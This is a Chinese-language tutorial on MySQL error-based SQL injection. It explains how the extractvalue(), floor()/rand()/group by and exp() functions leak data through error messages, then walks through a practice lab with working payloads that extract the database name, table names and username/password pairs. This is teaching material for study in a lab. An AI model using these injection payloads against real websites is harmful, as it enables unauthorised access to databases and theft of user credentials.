sql报错注入攻击原理

利用一些特殊的函数来使mysql数据库进行报错。例如:extractvalue(),updatamxl(),floor(),exp() ….

extractvalue()函数

语法:extractvalue(xml_frag, xpath_expr)
第一参数:xml文档对象的名称,是一个string类型。
第二个参数:使用xpath语法格式的路径。
当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错. extractvalue是一个xml文档查询函数
构造一个错误的语法: select extractvalue(1,concat(0x7e,(select database()))
爆出了数据库名:deelmind 0x7e:十六进制转码后就是 ~ 因为在xpath中这是一个错误的格式
图片alt
这里的concat()是拼接函数把两个字符串拼接起来。

实战

了解原理之后就打开sql注入靶场进行测试
1.判断注入点 admin’ and 1=1#

admin’ and 1=2# 出现错误 有注入点

2.开始构造payload: admin’ and extractvalue(1,concat(0x7e,(select database())))# 得到数据库名:security

接下来就是表 admin’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’)))# 得出表名:emails,referers,uagents,users
group_concat函数的作用把重复的字段打印到一起

在得出字段名 admin’ and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))#

floor函数

floor函数需要配合 count(),group by()函数使用

报错原理

floor报错的原理是rand和order by或group by的冲突。 会生成一个重复的主键,这在mysql属于错误的。
rand():生成一个随机的0-1的数值 rand(0)*2:把数值乘2 变成 0-2


为了更加直观的显示出来 就需要 floor这个函数,作用是向下取整


group by 函数就是把数据弄成一个分组,需要和 count()函数连用 这个是统计返回的值。举个列子

group by group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中,注意是插入
rand(0)x2 每次生成的前几个随机数都是 01101…… group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次。
第一次 生成的数是0,由于临时表中没有这个主键所以floor(rand(0)2)重新计算一次结果是1,插入表中。
第二次 生成的数是 1,由于临时表中存在该主键 count(
)加1.
第三次 生成的数是 0 由于没有该主键 在计算一次是 1 将会生成一个主键强行插入进去。
就会报错–Duplicate entry ‘1’ for key ‘

exp()函数

报错原理

exp() 函数返回e的x方,当这个值超过了超过一定范围就会报错。
实例: and exp(~(select * from (select user())a))